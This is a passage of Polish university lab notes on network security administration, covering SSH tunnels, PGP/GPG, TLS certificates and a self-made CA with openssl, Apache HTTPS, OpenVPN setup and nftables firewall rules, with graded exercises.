  spowoduje otwarcie na lokalnej maszynie portu 1234 do nasłuchiwania, a połączenie do tego portu zostanie przekazane (w tunelu) na students i stamtąd otwarte (już bez ochrony) do www.w3.org na port 80.

• zdalne (opcja -R): połączenia do podanego portu na serwerze SSH są przekazywane na maszynę lokalną i z niej łączymy się z docelowym adresem, np.

  ssh -R 1234:localhost:8080 students.mimuw.edu.pl

  spowoduje, że na students zostanie otwarty do nasłuchiwania port 1234, a połączenia przychodzące do tego portu zostaną (w tunelu) przekazane na lokalną maszynę (z której wywoływaliśmy ssh) i tam (bo napisaliśmy localhost) zostaną skierowane do portu 8080.

  Uwaga: domyślna konfiguracja SSH (także na students) powoduje, że porty otwarte na serwerze nie są widoczne z zewnątrz, a jedynie poprzez lokalny interfejs loopback („localhost”); można to zmienić w konfiguracji serwera za pomocą opcji GatewayPorts.

Można także tworzyć w konfiguracji „urządzenia tunelowe” czy tunelować protokół SOCKS, w co się już nie wgłębiamy.

źródło obrazka: http://jakilinux.org/aplikacje/sztuczki-z-ssh-2-tunele/

PGP i GPG

OpenPGP to otwarty standard IETF oparty o wcześniejszy, obecnie częściowo komercyjny, produkt PGP (Pretty Good Privacy). Standard ten opisuje metody zabezpieczania poczty elektronicznej i plików. Podstawą jest użycie kryptografii klucza publicznego, a gdy przyjrzeć się szczegółom, okaże się, że używana jest także kryptografia klucza sekretnego ("szyfrowanie symetryczne"), bezpieczne funkcje haszujące ("skrót kryptograficzny"), kompresja oraz konwersja radix64.

Dwie najważniejsze funkcje to podpisywanie wiadomości (kluczem prywatnym nadawcy) i szyfrowanie wiadomości (kluczem publicznym odbiorcy). Do weryfikacji podpisu potrzebny jest klucz publiczny nadawcy, a do odszyfrowania wiadomości klucz prywatny odbiorcy. Podpisywanie i szyfrowanie mogą być stosowane niezależnie od siebie.

Przyjrzyjmy się operacjom nieco bardziej szczegółowo.
Podpisywanie polega na:

• wyliczeniu skrótu z całej wiadomości,
• zaszyfrowaniu skrótu kluczem prywatnym nadawcy,
• dołączeniu do wiadomości zaszyfrowanego skrótu.

Szyfrowanie polega na:

• wygenerowaniu (możliwie) losowego klucza sesji,
• zaszyfrowaniu ciała wiadomości szyfrem symetrycznym używając klucza sesji; zazwyczaj przed szyfrowaniem wiadomość jest kompresowana, a po szyfrowaniu zamieniana na tekst konwersją radix64,
• dołączeniu do wiadomości klucza sesji zaszyfrowanego kluczem publicznym odbiorcy; w przypadku wielu odbiorców nie ma potrzeby szyfrowania całej wiadomości osobno dla każdego z nich, osobno szyfrowany (kluczem publicznym każdego odbiorcy) jest jedynie klucz sesji.

Popularną otwartą implementacją standardu jest GnuPG. Pod Linuksem dostępne są polecenia: gpg i gpg2, którymi można wykonywać operacje na plikach (także zapisanych wiadomościach) i zarządzać kluczami.

Sama aplikacja może być także używana do wykonywania na plikach pojedynczych operacji – składników standardu PGP, z czego użyteczne może być np. szyfrowanie plików na dysku czy weryfikacja spójności plików pobranych z sieci (wykorzystywane przez menedżery pakietów rpm i deb).

Aby wygenerować klucz piszemy

gpg --gen-key

Inne popularne polecenia opisano w Ważniaku, a wszystkie w man gpg.

PGP W POCZCIE ELEKTRONICZNEJ

Użycie OpenPGP w poczcie elektronicznej (do czego został stworzony) jest wygodniejsze gdy użyjemy klientów poczty wyposażonych we wsparcie dla tego standardu. Przykładem może być Thunderbird z dodatkiem Enigmail. Pozwala on nie tylko na podpisywanie, weryfikację, szyfrowanie i odszyfrowanie wiadomości, ale także na zarządzanie kluczami PGP/GPG zainstalowanymi na naszym komputerze.

S/MIME

Standardem podobnym w idei i zastosowaniach do PGP jest S/MIME. Szyfrowanie i podpisywanie odbywa się na tej samej zasadzie. Różnica dotyczy zarządzania certyfikatami (wizytówki z kluczami publicznymi, często same podpisane innym kluczem): w S/MIME muszą być uwierzytelnione przez instytucję uwierzytelniającą i tworzą drzewo zaufania w modelu PKI (public key infrastructure).

Zaufanie

Ograniczenia, które chcemy wprowadzić w życie za pomocą mechanizmów typu SSH, PGP czy S/MIME, nie zadziałają, jeśli nie zostaną wprowadzone w życie. To znaczy: samo używanie PGP nie gwarantuje, iż dane nie zostaną podejrzane, samo używanie SSH nie oznacza, że łączymy się rzeczywiście z serwerem, na którym chcemy pracować. Podpisy zapewniają, że dane pochodzą od określonego odbiorcy, ale jedynie jeśli mamy pewność, że klucz od tego odbiorcy rzeczywiście pochodzi. Każda komunikacja zapośredniczona (przez telefon, emailem, kodem Morse'a stukanym w rurę wodociągową) nie daje pewności, że przekazany klucz jest właściwy - ktoś mógł przecież ten kanał komunikacyjny przejąć i nam podłożyć klucz niewłaściwy. Możemy zwiększać naszą pewność przez zwiększanie liczby niezależnych mediów, za pomocą których przesyłamy klucz (np. SMS-em i emailem - jak się oba klucze zgadzają, to klucz jest właściwy ze znacznie większym prawdopodobieństwem niż jak, gdy tylko został przesłany pocztą). Dużo większe prawdopodobieństwo (choć dalej nie 100%) poprawności klucza zyskujemy, gdy bezpośrednio spotkamy właściciela i porównamy klucz na jego maszynie z kluczem na swojej. Dlatego wśród użytkowników PGP popularne są, i warto je urządzać, tzw. key signing parties. Na nich właśnie można sobie klucze obejrzeć bezpośrednio i je sobie nawzajem podpisać - wtedy uzyskujemy własność, że kilka osób spojrzało na klucz i potwierdziło jego poprawność.

Ważne też jest w tym całym obrazku sprawdzanie, czy suma kontrolna instalowanej przeglądarki zgadza się z sumą kontrolną, jaką podaje (za pomocą różnych mediów: internetu, SMS-a itp.) jej twórca. Mało kto to robi, a od tej operacji zależy bezpieczeństwo naszych pieniędzy w kontach bankowych (przestępca może podłożyć do przeglądarki własny certyfikat uwierzytelniający stronę, która wygląda jak strona banku, ale podmienia numer konta docelowego).

Zobacz także

Temat opisują także scenariusze 7 i 8 na Ważniaku. Zwróć uwagę szczególnie
na niewymienione w bieżącym tekście polecenia programu gpg.

Przeczytaj (żeby wiedzieć jakie są możliwości, ale niekoniecznie znać na pamięć składnię i opcje):

man ssh, man ssh-keygen, man sshd_config, man gpg.

Warto przejrzeć (i wyłapać najważniejsze hasła) także:

man ssh_config, man ssh-agent, man scp, man rsync, man sftp, a także SSH i PGP na Wikipedii.

Ćwiczenia - tunele aplikacyjne i GPG

• Na maszynie wirtualnej dla wybranego pracownika banku za pomocą SSH stwórz parę klucz publiczny, klucz prywatny
• Prześlij kopię klucza na swoje lokalne konto w laboratorium, aby móc się z konta pracownika zalogować na własnym koncie w laboratorium
• Zaszyfruj i podpisz wybrany plik lokalny na maszynie wirtualnej (zob. materiały na Ważniaku)
• Stwórz tunel lokalny do wybranej maszyny na laboratorium
• Prześlij podpisany plik do tej maszyny
• Zamontuj katalog, do którego przesłałeś powyższy plik w maszynie wirtualnej
• Sprawdź poleceniem diff, czy plik z zamontowanego katalogu jest identyczny z plikiem lokalnym, który został wysłany za pomocą tunelu

Plik z poleceniami realizującymi te działania prześlij do Moodle.

VPN

Baza dla VPN - SSL

Wersje i nazewnictwo

SSL to standard ochrony warstwy aplikacji wykonany wraz z implementacją przez Netscape Communications Corporation. Powstały wersje SSL v1, v2, v3. Od 1996 roku standard jest rozwijany przez grupe roboczą IETF na bazie SSL v3 jako TLS (Transport Layer Security), powstały wersje standardu TLS 1.0 - RFC 2246, TLS 1.1 - RFC 4346, TLS 1.2 - RFC 5246, TLS 1.3 - RFC 8446.
SSL v1, v2, v3, TLS 1.0, 1.1 są uznawane za niebezpieczne. W tych wersjach istnieją udokumentowane podatności na ataki różnych typów.

Implementacje

Najbardziej popularna to OpenSSL (https://www.openssl.org/). Zawiera implementację standardów SSL v2, v3, TLS 1.0-1.3. OpenSSL to biblioteka wraz z zestawem narzędzi (przede wszystkim program openssl). Alternatywna implementacja: GnuTLS - TLS 1.1-1.3 i SSL v3 (https://www.gnu.org/software/gnutls/).

Koncepcja działania

SSL/TLS zapewnia zestawienie szyfrowanego i uwierzytelnionego kanału dla warstwy aplikacji. W modelu ISO/OSI SSL/TLS znajduje się w
warstwie prezentacji, zatem ponad warstwą transportu (TCP/UDP), ale poniżej warstwy aplikacji.

Przebieg nawiązywania połączenia

• Serwer uwierzytelniania się przed klientem.
• Klient i serwer wymieniają między sobą informacje pozwalające uzgodnić im najsilniejsze mechanizmy kryptograficzne jakie obie
  strony wspierają np. algorytm funkcji skrótu kryptograficznego, algorytm służący do szyfrowania.
• Jeżeli zachodzi taka potrzeba klient uwierzytelnia się przed serwerem.
• Klient i serwer używając mechanizmów kryptografii klucza publicznego uzgadniają między sobą tajny klucz sesji (shared secret).
• Zostaje ustanowiony bezpieczny kanał wymiany danych między obiema stronami, szyfrowany kluczem sesji.

Koncepcja SSL/TLS wykorzystuje idee kryptografi symetrycznej i niesymetrycznej. Kryptografia niesymetryczna służy do uwierzytelnienia i ustalenia w bezpieczny sposób klucza sesji. Następnie wykorzystywana jest kryptografia symetryczna (i ustalony klucz sesji), co zwiększa wydajność.

Przebieg sprawdzania autentyczności

To, że uda się zestawić kanał szyfrowany nie oznacza jeszcze, że wiadomo z jakim serwerem http mamy połączenie... Co się stanie, jeśli ktoś podszyje się pod serwer http (co jest popularnym sposobem wyłudzania haseł i innych poufnych informacji)? Przeglądarka, łącząc się z serwerem http, dostaje od niego certyfikat, w którym znajduje się klucz publiczny serwera. Oprócz klucza publicznego
certyfikat zawiera także inne dane:

• numer wersji standardu X.509 (jest to standard budowy certyfikatu),
• numer wystawionego certyfikatu,
• identyfikator algorytmu podpisu certyfikatu,
• nazwa funkcji skrótu kryptograficznego użyta przez wystawcę,
• nazwa wystawcy certyfikatu,
• daty ważności certyfikatu,
• nazwa podmiotu dla którego wystawiany jest certyfikat,
• parametry klucza publicznego podmiotu,
• klucz publiczny podmiotu,
• opcjonalne rozszerzenia,
• podpis certyfikatu składany na nim przez wystawcę.

Dzieki tym danym, certyfikat poświadcza związek osoby z kluczami, którymi się posługuje. Ponieważ certyfikat jest podpisany, przeglądarka może sprawdzić autentyczność podpisu. Dokonuje tego za pomocą certyfikatów zawierających klucze publiczne Centrów Certyfikacji (Certification Authorities, CAs), jednostek wystawiających certyfikaty. CAs spełniają rolę zaufanej trzeciej strony (trusted third party) i odpowiedzialne są za poświadczanie tożsamości klientów. Zanim CA podpisze certyfikat podmiotu, sprawdza jego tożsamość (np. przez sprawdzenie dowodu osobistego, czy uprawnień do posługiwania się nazwą instytucji).

Przeglądarka weryfikuje certyfikat za pomocą zbioru certyfikatów zaufanych CA. Jeśli weryfikacja podpisu nie powiedzie się, generowane jest ostrzeżenie. Ostrzeżenia są tworzone także, jeśli nie zgadzają się inne elementy certyfikatu, np: data ważności, czy nazwa domeny (gdy serwer wyśle certyfikat zawierający inna nazwę domenową, niż ta która znajduje się w URL).

Poziomy walidacji dla SSL

1) Certyfikaty DV (Domain Validation)

Przed wystawieniem certyfikatu dochodzi jedynie do weryfikacji dostępu do domeny, zwykle w sposób automatyczny. Nie są sprawdzane dane organizacji, która ubiega się o certyfikat.

2) Certyfikaty OV (Full Organization Validation)

CA dokonuje weryfikacji danych właściciela witryny i samego podmiotu, który ubiega się o certyfikat (tożsamości firmy).
W efekcie, w certyfikacie można znaleźć nazwę i dane firmy, oraz także potwierdzenie, że dany podmiot jest właścicielem strony. Ze względu na bardziej dokładną weryfikację, cena certyfikatu OV jest zwykle wyższa niż DV.

3) Certyfikaty EV (Extended Validation)

Ten proces polega na najdokładniejszej weryfikacji i trwa najdłużej. Walidacja danych firmy odbywa się m.in. na podstawie rządowych baz. Sprawdzane jest też prawo do posługiwania się domeną.

Własne CA

Na potrzeby własnej instytucji można utworzyć własne CA i z jego pomocą generować certyfikaty. Może to ograniczyć koszty utrzymywania certyfikatów podpisywanych przez zaufane CA np. Verisign. Tak utworzone certyfikaty spowodują, że np. przeglądarka internetowa lub inne aplikacje będą generować ostrzeżenia związane z brakiem możliwości weryfikacji podpisu (brakiem zaufania do CA podpisującej wystawiony certyfikat). By uniknąć generowania takich ostrzeżeń, certyfikat własnego CA należy zaimportować do przeglądarki.
Jeśli chcemy mieć bezpłatny certyfikat podpisany przez rozpoznawalne, zaufane CA, można skorzystać z certyfikatów
https://letsencrypt.org/. Są to certyfikaty tylko DV, wystawiane na okres 3 miesięcy.

PKI

Wyżej opisana koncepcja obiegu informacji związanych z wystawianiem certyfikatów dla podmiotów, wraz z istnieniem organizacji CA poświadczających związek certyfikatu z konkretną instytucją lub osobą nosi nazwę Infrastruktury Klucza Publicznego (ang. Public Key Infrastructure), w skrócie PKI.
Struktura PKI podlega standaryzacji i opiera się na dwóch elementach. Jednym jest standard X.509 opisujący strukturę certyfikatów oraz drugi określany mianem PKCS (ang. Public Key Cryptography Standards).

ECC vs RSA

Wszystkie przykłady w tym dokumencie zakładają wykorzystanie kryptografii RSA. Współczesne wersje OpenSSL
mogą korzystać z kryptografii opartej o krzywe eliptyczne (ang. Elliptic Curve Cryptography (ECC)).
Główne elementy implementacji ECC w OpenSSL to Elliptic Curve Digital Signature Algorithm (ECDSA) i Elliptic Curve Diffie-Hellman (ECDH).
ECDSA służy do podpisywania i weryfikacji podpisów w oparciu o kryptografię krzywych eliptycznych, a ECDH to algorytm bezpiecznego uzgadniania kluczy, np. wspólnego klucza dla szyfrowania symetrycznego.

Dużą zaletą ECC jest znacznie mniejsza długość klucza, więc zyskuje się na wydajności.
Poniższa tabela porównuje klucze o takiej samej sile kryptograficznej. Jak widać, długość klucza dla RSA
szybko rośnie. Uzyskiwanie coraz większej siły kryptograficznej dla RSA może być, w sensie
wydajnościowym, nieopłacalne. Należy więc oczekiwać, że kryptografia ECC będzie coraz szerzej stosowana
w certyfikacji oferowanej przez organizacje CA. Certyfikaty RSA są jednak nadal powszechnie tworzone i używane.

Przykład użycia openssl

W poniższym przykładzie będziemy posługiwać się bezpośrednio programem openssl. Można używać też pod Debianem 10
/usr/lib/ssl/misc/CA.pl, jest to opakowanie do programu openssl, aby łatwiej było tworzyć m.in. własne CA, prośby o certyfikację
itp. Por. /usr/lib/ssl/misc/CA.pl -help

Tworzenie nowego CA

Popatrzmy na polecenie

openssl genrsa -out ca.key 2048

Klucz prywatny naszego CA wygenerowany w powyższy sposób nie będzie chroniony! Jak to zmienić i czy warto?
Następnie tworzymy certyfikat CA (ważność: 3650 dni, self signed (opcja -x509)):
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt
Podajemy niezbędne dane:

Country Name (2 letter code) [AU]:PL
State or Province Name (full name) [Some-State]:Mazowieckie
Locality Name (eg, city) []:Warszawa
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MIM UW
Organizational Unit Name (eg, section) []:BSK LAB
Common Name (eg, YOUR name) []:CA BSK LAB
Email Address []:ca@mimuw.edu.pl
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []: pomijamy
An optional company name []: pomijamy

W efekcie, w katalogu bieżącym, powstał certyfikat naszego CA (ca.crt) oraz klucz prywatny CA (ca.key)

Tworzenie prośby o certyfikację

Tworzymy klucz prywatny i prośbę do CA (bsk.csr) o certyfikowanie wygenerowanego klucza publicznego. Czy klucz prywatny powinien być chroniony hasłem (zaszyfrowany)?

openssl genrsa -out bsk.key 2048
openssl req -new -key bsk.key -out bsk.csr

Podajemy dane

Country Name (2 letter code) [AU]:PL
State or Province Name (full name) [Some-State]:Mazowieckie
Locality Name (eg, city) []:Warszawa
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MIM UW
Organizational Unit Name (eg, section) []:BSK LAB
Common Name (eg, YOUR name) []:bsklabXX.mimuw.edu.pl 
       (zastąp XX numerem twojej stacji roboczej)
Email Address []: bsklab13@mimuw.edu.pl
 
A challenge password []: pomijamy
An optional company name []: pomijamy

Ponieważ klucza publicznego używać będziemy do zestawiania połączeń https, subjectAltName musi zawierać nazwę hosta, dla którego wystawiamy certyfikat (inaczej przeglądarka internetowa będzie wyświetlać komunikat o niezgodności). Przy czym OpenSSL po cichu kopiuje do subjectAltName wpisywaną w powyższym dialogu zawartość pola Common Name.
Można wystawić certyfikat dla kilku nazw domenowych, trzeba wtedy dodać alternatywne nazwy do pola subjectAltName.

Oglądamy nasz csr, sprawdzamy, czy wszystko się zgadza:

openssl req -in bsk.csr -noout -text

Wystawianie certyfikatu (podpisywanie utworzonej prośby kluczem prywatnym CA)

openssl x509 -req -in bsk.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out bsk.crt

Oglądamy wystawiony certyfikat:
openssl x509 -in example.org.crt -noout -text
Na jak długo został wystawiony certyfikat? By zmienić okres ważności, należy zmienić liczbę dni (tak jak w przypadku tworzenia CA, patrz wyżej).
Na końcu gotowy certyfikat znajduje się w pliku bsk.crt
Do podpisywania certyfikatów można też używać modułu openssl ca (zamiast openssl x509).

Konfiguracja obsługi protokołu HTTPS na przykładzie serwera Apache

Do katalogu /etc/ssl/certs/ skopiuj podpisany certyfikat wystawiony dla hosta (bsk.crt). Do katalogu /etc/ssl/private skopiuj odpowiadający certyfikatowi klucz prywatny (bsk.key).
Należy teraz włączyć mod-ssl poleceniem:
a2enmod
po ukazaniu się listy dostępnych modułów, należy wybrać ssl.
Następnie trzeba włączyć obsługę konfiguracji ssl:
a2ensite
i wybrać default-ssl.
W pliku konfiguracyjnym /etc/apache2/sites-available/default-ssl ustawić odpowiednie nazwy zainstalowanego certyfikatu i klucza prywatnego:

SSLCertificateFile /etc/ssl/certs/bsk.crt
SSLCertificateKeyFile /etc/ssl/private/bsk.key

i zrestartować serwer http:

systemctl restart apache2

Teraz już można się cieszyć dostępem po https. Można to sprawdzić przeglądarką:
https://bsklab13.mimuw.edu.pl/
Przeglądarka wyświetli ostrzeżenie mówiące o braku zaufania do CA, które podpisało certyfikat dla hosta solab13 (czyli CA, które stworzyliśmy na początku tych ćwiczeń). Jeśli ufasz swojemu lokalnemu CA, możesz zaimportować do przeglądarki certyfikat lokalnej CA z pliku DemoCA/cacert.pem. Po zaimportowaniu certyfikatu CA, przeładuj stronę - nie powinna już generować ostrzeżeń.
Połącz się ze stroną https://localhost.
Dlaczego generowane jest ostrzeżenie?

Dodatkowe materiały

• http://wazniak.mimuw.edu.pl/index.php?title=Bezpiecze%C5%84stwo_system%C... - w niektórych szczegółach te materiały są nieaktualne, ale generalna idea pozostaje taka sama
• https://www.openssl.org/
• https://gnutls.org/

Tworzenie sieci VPN

Wymagania dotyczące poufności, tajemnic produkcyjnych firm oraz konieczność umożliwiania pracownikom pracy zdalnej, w tym z domu, powoduje, że konieczne jest wprowadzanie metod udostępniania sieci wewnętrznej firmy przez szyfrowane kanały. Zwykle praca bezpośrednio za pomocą protokołu SSH jest niewystarczająca, dlatego sięga się po bardziej specjalizowane rozwiązania, takie jak VPN, które pozwalają na przekazywanie szyfrowanym kanałem całego ruchu sieciowego (bez konieczności ustanawiania odrębnych tuneli dla różnych aplikacji oraz bez ograniczenia się do protokołu TCP).

Wśród rozwiązań VPN dostępne są dwa podejścia:

• tunelowanie ruchu VPN w protokole SSL,
• przekazywanie ruchu VPN za pomocą protokołu IPsec.

Zasadnicza różnice między tymi dwoma podejściami:

• tunelowanie w protokole SSL jest prostsze do zapewnienia,
• tunelowanie w protokole SSL ma lepiej przetestowaną infrastrukturę (znacznie więcej użytkowników stosuje SSL),
• tunelowanie w protokole SSL pozwala na korzystanie z powszechniej znanych mechanizmów,
• tunelowanie w protokole IPsec można wykorzystywać przy uboższej infrastrukturze stosu sieciowego komputera.

Do tworzenia sieci VPN na bazie protokołu SSL służy OpenVPN.
Do tworzenia sieci VPN na bazie IPsec służy Openswan.

Dalsze informacje do przeczytania przed zajęciami:

• wstęp do VPN: http://en.wikipedia.org/wiki/Virtual_private_network
• przejrzyj http://www.openvpn.net/community-resources/
• alternatywa, czyli VPN na IPSec: przeczytaj http://www.ipsec-howto.org/x202.html
• http://students.mimuw.edu.pl/~zbyszek/bezp/filter-vpn/Bsi_11_lab.pdf
  Uwaga w plikach konfiguracyjnych tam umieszczonych są błędy; nie korzystaj z tych plików metodą kopiuj-wklej, pisz swoje w oparciu o ćwiczenia poniżej

Przykładowa konfiguracja VPN

Celem ćwiczeń jest budowanie poprawnej konfiguracji VPN krok po kroku.

Załóżmy, że komputer serwera VPN to vpn-server (adres ip ip-server), a klienta to vpn-client (adres ip ip-client).

Będziemy stawiać tunel VPN o adresach 10.0.0.1 (serwer) / 10.0.0.2 (klient)

1 instalacja pakietów openvpn

Na obu komputerach:

apt-get install openvpn

2 konfiguracja openvpn bez autoryzacji i szyfrowania

vpn-server# openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun
vpn-client# openvpn --ifconfig 10.0.0.2 10.0.0.1 --dev tun --remote 192.168.1.10

Sprawdź, czy serwer nasłuchuje na porcie 1194 (:openvpn):

vpn-server# netstat -l | grep openvpn

Sprawdź, czy jest połączenie po vpn między komputerami:

vpn-client# ping 10.0.0.1
vpn-server# ping 10.0.0.2

3 konfiguracja openvpn ze wspólnym kluczem

Stwórz klucz:

vpn-server# openvpn --genkey --secret vpn-shared-key

Przegraj klucz do komputera klienta:

vpn-server# scp vpn-shared-key root@vpn-client:

Włącz vpn:

vpn-server# openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun --secret vpn-shared-key 0
vpn-client# openvpn --ifconfig 10.0.0.2 10.0.0.1 --dev tun --remote ip-server --secret vpn-shared-key 1

Upewnij się, że tunel działa. Sprawdź, czy klient może korzystać z tunelu gdy nie ma klucza.

4 konfiguracja openvpn z certyfikatami

Do wygenerowania certyfikatów wykorzystaj skrypty z /usr/share/easy-rsa

Ustaw właściciela certyfikatu (zmienne w pliku vars) na PL/Mazowieckie/Warszawa/mimuw-bsk-lab

Następnie wygeneruj certyfikaty dla centrum autoryzacji, klienta i serwera przez:

vpn-server# . vars
vpn-server# ./clean-all
vpn-server# ./build-ca
vpn-server# ./build-dh
vpn-server# ./build-key-server vpn-server
vpn-server# ./build-key vpn-client

Przekopiuj certyfikaty ca.cert, vpn-client.crt i klucz vpn-client.key na vpn-client.

vpn-server# openvpn --dev tun --tls--server --ifconfig 10.0.0.1 10.0.0.2 --ca ca.crt --cert vpn-server.crt --key vpn-server.key --dh dh1024.pem
vpn-client# openvpn --dev tun --tls-client --ifconfig 10.0.0.2 10.0.0.1 --ca ca.crt --cert vpn-client.crt --key vpn-client.key --remote [ip-vpn-server]

Ćwiczenie punktowane

1. Wygeneruj klucze, pozwalające na stworzenie VPN
2. Utwórz dwie maszyny wirtualne
3. Na każdą z nich sprowadź klucze utworzone w punkcie pierwszym
4. Skonfiguruj na maszynach VPN tak, aby łączyły się ze sobą po adresach 172.16.0.134 i 172.16.0.135
5. Sprawdź za pomocą polecenia ping, że maszyny są połączone
6. Skrypt wykonujący czynności z punktów 3-5 oraz inne czynności, które są potrzebne do zrealizowania zadania, wgraj do Moodle.

Ściany ogniowe z użyciem netfilter

Systemy programowych zapór sieciowych

Podstawowym sposobem zwiększania bezpieczeństwa systemów komputerowych od strony sieci jest wprowadzenie mechanizmów kontroli ruchu w sieci. Najważniejszą metodą zabezpieczającą jest tutaj kształtowanie ruchu: ruch niepożądany jest zabroniony lub, jeśli zabronić się nie da, ograniczany. Narzędziem pozwalającym na takie działanie są umieszczane w różnych punktach sieci (ruterach, końcówkach komputerowych, serwerach) zapory sieciowe z filtracją pakietów.

Zapora sieciowa ma za zadanie filtrować ruch przychodzący i wychodzący z danego urządzenia sieciowego (na przykład komputera). Dzięki filtrowaniu ruchu możemy zapewniać różnego rodzaju zasady bezpieczeństwa związane z danym urządzeniem sieciowym. Obsługa sieci w Linuksie jest obecnie wbudowana w jądro. Jednym z jej elementów jest netfilter, zestaw modułów do filtrowania pakietów.

Netfilter posiada narzędzia dostępne zewnętrznie, służące do określenia reguł przesyłania pakietów – przesyłania, a nie filtrowania, bo nie tylko o filtrowanie chodzi – pakiety mogą być też zmieniane podczas przechodzenia przez zaporę. Obecnie nft (poprzednio były to wciąż popularne <xx>tables, gdzie <xx> to jeden z prefiksów: ip, ip6, arp, eb, oraz mające już wyłącznie historyczne znaczenie ipchains). Narzędzie nft pozwala ustalać reguły przetwarzania pakietów przechodzących przez maszynę. Na najwyższym poziomie narzędzie to grupuje pakiety w rodziny (ang. families), które to rodziny są ściśle związane z protokołem bazowym, którego dotyczą:

• ip – będzie zawierało reguły filtrujące pakiety przekazywane za pomocą protokołu IPv4;
• ip6 – będzie zawierało reguły filtrujące pakiety przekazywane za pomocą protokołu IPv6;
• inet – będzie zawierało reguły filtrujące pakiety przekazywane za pomocą protokołu IPv4 oraz IPv6; rozwiązanie to służy do obsługi sytuacji, gdy w jednej maszynie łączona jest komunikacja w obu protokołach warstwy sieci (L3); łatwiej jest utrzymać spójność konfiguracji, gdy reguły dla obu protokołów są konfigurowane w jednym miejscu;
• arp – będzie zawierało reguły filtrujące pakiety związane z protokołem ARP;
• bridge – będzie zawierało reguły filtrujące pakiety przekazywane, gdy maszyna służy za mostek (ang. bridge) między dwoma sieciami, czyli urządzenie przeźroczyście dla wyższych warstw protokołów przekazujące pakiety z jednego segmentu ethernetowego do drugiego;
• netdev – będzie zawierało reguły filtrujące pakiety związane z konkretnym interfejsem sieciowym (lub ich grupą połączoną za pomocą wirtualnego interfejsu) – wszystkie pakiety przechodzące przez wskazany interfejs będą przetwarzane z pomocą reguł umieszczonych w tej rodzinie.

Podstawowa funkcjonalność zapory polega na filtrowaniu pakietów, które przepuszcza tylko te pakiety odpowiadające wyznaczonym przez nas zasadom bezpieczeństwa. Pakiety, które nie są przepuszczane mogą być porzucane po cichu lub też odrzucane z komunikatem do nadawcy. Przy czym to drugie zachowanie powinno być zawsze przemyślane - takie zachowanie może być wykorzystywane przez atakujących do monitorowania konfiguracji czy stanu sieci. W zaporze sieciowej możemy filtrować zarówno ruch przychodzący, jak i wychodzący. Reguły filtrowania mogą być dosyć skomplikowane, w tym mogą uwzględniać stan protokołu, dla którego wykonywane jest filtrowanie.

Kolejną ważną funkcjonalnością zapory jest możliwość wykonywania translacji adresów. Istnieją dwa główne rodzaje translacji adresów:

• SNAT pozwala komputerom w sieci wewnętrznej na dostęp do różnego rodzaju serwerów z Internetu,
• DNAT pozwala komputerom z sieci zewnętrznej (Internetu) na dostęp do różnego rodzaju serwerów umieszczonych w sieci wewnętrznej.

Uwaga: By korzystać z translacji adresów, zwykle trzeba zezwolić na przekazywanie pakietów IP przez jądro. W przypadku IPv4 konfiguracja jądra sprowadza się do zapisania wartości 1 do pliku /proc/sys/net/ipv4/ip_forward:

echo 1 > /proc/sys/net/ipv4/ip_forward 

Jeszcze inną ważną funkcjonalnością jest możliwość modyfikowania różnych fragmentów przechodzących pakietów (w istocie translacja adresów jest też przykładem tego rodzaju funkcjonalności). Dzięki temu możemy pakiety tak modyfikować, że poruszają się po sieci w bardziej regularny lub łatwiej sterowalny sposób.

Często w praktyce administracyjnej przydaje się także możliwość rejestrowania różnego rodzaju sytuacji sieciowych. Zapory pozwalają na śledzenie i rejestrowanie wielu sytuacji. Przydaje się to do optymalizowania ruchu w sieci oraz wykrywania usterek w jej konfiguracji.

Tablice w netfilter i ich zawartość

create table <rodzina> <nazwa> 

Łańcuchy

• Łańcuchy bazowe (ang. base chains) - działanie ich jest przywiązywane do konkretnych haczyków obecnych w jądrze. Takie łańcuchy tworzy się za pomocą wywołania postaci

     sudo nft add  chain inet <nazwa tablicy> <nazwa łańcucha> '{type <rodzaj łańcucha> hook <nazwa haczyka> priority <priorytet>; [policy <domyślna obsługa>] }'
  

  gdzie nazwa tablicy i nazwa łańcucha wskazują, jaki łańcuch jest dokładany do jakiej tablicy, z kolei rodzaj łańcucha określa jeden z trzech rodzajów (filter, route, nat), haczyk wskazuje, skąd biorą się pakiety przetwarzane przez regułę łańcucha, priorytet określa numer kolejny łańcucha przy przetwarzaniu związanym ze wskazanym haczykiem, wreszcie domyślna obsługa wskazuje, co się ma dziać z pakietami, jeśli operacja na nich nie zostanie jawnie wskazana. Więcej wyjaśnień znajdziemy poniżej.
• Łańcuchy regularne (ang. regular chains) - działanie ich służy do sterowania przepływem przetwarzania. Takie łańcuchy tworzy się za pomocą wywołania postaci

  sudo nft add chain inet <nazwa tablicy> <nazwa łańcucha>
  

  W tego typu łańcuchach nie wskazujemy, jak pakiety do nich trafiają. Pakiety trafiają do takich łańcuchów w wyniku wykonania akcji skoku z łańcuchów bazowych. Po wykonaniu takiego skoku pakiet jest przetwarzany, jak zwykle w wypadku łańcuchów bazowych.

• filter - jest wykorzystywany do filtrowania pakietów.
• route - jest wykorzystywany do przekazywania pakietu do ponownego przejścia przez proces wyznaczania jego trasy. Jest to przydatne, gdy zmieniliśmy jakieś pola nagłówka IP i mogło to zdecydować o zmianie trasy.
• nat - jest wykorzystywany do wykonywania operacji translacji adresów NAT (ang. Networking Address Translation). Tylko pierwszy pakiet z danego strumienia trafia do takiego łańcucha, następne omijają go. Dlatego nie należy łączyć łańcuchów z takimi operacjami z filtrowaniem.

• prerouting: to miejsce, przez które przechodzą wszystkie pakiety wchodzące do stosu internetowego zanim nastąpi jakakolwiek decyzja związana z określeniem tracy pakietu. Pakiety tutaj mogą być adresowane do maszyny lokalnej, ale też i do innych komputerów.
• input: to miejsce, przez które przechodzą wszystkie pakiety, które mają wejść do lokalnego systemu i zostały tam skierowane przez procedury rutowania, ale jeszcze nie trafiły do procesów lokalnej maszyny
• forward: to miejsce, przez które przechodzą wszystkie pakiety, które przeszły przez proces rutowania, ale nie mają wejść do lokalnej maszyny.
• output: to miejsce, przez które przechodzą pakiety, które są wygenerowane przez procesy na maszynie lokalnej.
• postrouting: to miejsce, przez które przechodzą pakiety, które mają wyjść z maszyny, tzn. pakiety, które są forwardowane przez procedury rutowania oraz pakiety wygenerowane przez lokalne procesy na maszynie lokalnej.

Reguły

  sudo nft add rule inet example_table example_chain tcp dport 22 counter accept

